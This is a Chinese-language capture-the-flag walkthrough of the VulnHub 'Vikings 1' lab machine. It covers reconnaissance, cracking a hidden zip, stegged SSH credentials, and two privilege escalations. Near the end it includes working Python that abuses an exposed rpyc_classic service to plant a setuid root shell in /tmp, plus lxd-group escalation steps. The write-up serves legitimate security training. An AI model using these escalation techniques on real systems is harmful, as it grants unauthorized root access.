前期准备:
靶机下载地址:https://www.vulnhub.com/entry/vikings-1,741/
kali攻击机ip:192.168.11.129
靶机ip:192.168.11.185
一、信息收集
1.使用nmap对目标靶机进行扫描
发现开放了22和80端口。
2. 80端口
访问80端口:
检查 site 目录下的内容:
检查了一下没发现什么,扫一下目录:
发现有个 war.txt 文件,查看一下:
再访问 /war-is-over :
应该是个文件,下载下来 base64 解码看看是个什么:
发现是个zip压缩包,解压一下:
发现需要密码,那就破解一下:
解得密码: ragnarok123,解压后发现试一张图片:
看下里面有没有藏什么文件或者隐写:
发现藏有一个压缩包,压缩包里有个 user 文件:
是一个账户: floki:f@m0usboatbuilde7,ssh登录。
二、漏洞利用
进入系统后查下权限:
发现是 lxd 组里的,可以在这里提权。
一、第一种方法 - lxd 提权
查看一下 lxd:
发现可以用,查找一下了以利用的漏洞:
发现 46978.sh 查看一下怎么利用:
Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
我这里下载不了 alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub ,说缺少文件校验和。没办法。后续按照步骤做就可以获得 root 权限
Step 3: Run this script and you will get root [Victim Machine]
Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine
第二种方法
在 floki 根目录下还发现了些别的信息:
readme.txt 中说的意思是找到 Ragner ,这应该是个用户,但是不知道密码。
boat 文件中说的是 collatz-conjecture (考拉兹猜想),又称为3n+1猜想等,是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。如n = 6,根据上述数式,得出 6→3→10→5→16→8→4→2→1。boat 中的意思是求第 29 个素数的 collatz-conjecture 结果,网上差的结果是 29th Prime Number = 109 。所以写个小脚本:
def collatz(x):
result = [109]
while x != 1:
if x % 2 == 1:
x = (3 * x) + 1
else:
x = (x / 2)
if x <= 255:
result.append(int(x))
return result
print(collatz(109))
Decimal 解码得:mR)|>^/Gky[gz=.F#j5P(
(https://gchq.github.io/CyberChef/ 这网站解码功能很全,就是初次访问的有点慢)
登录 Ragner 用户:
写个交互式 shell:
查看一下文件:
user.txt :
应该是一个 flag。在查看下别的文件:
发现 .profile 中在运行 rpyc,
这个还是 ragnar 用户多出来的,那就监听一下 tcp 连接:
发现在监听 18812 端口,网上查了一下发现 rpyc_classic 是不安全的:
这里将root权限直接复制过来:
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
import os
os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
fn = conn.teleport(getshell)
fn()
运行 bashroot 并查看flag: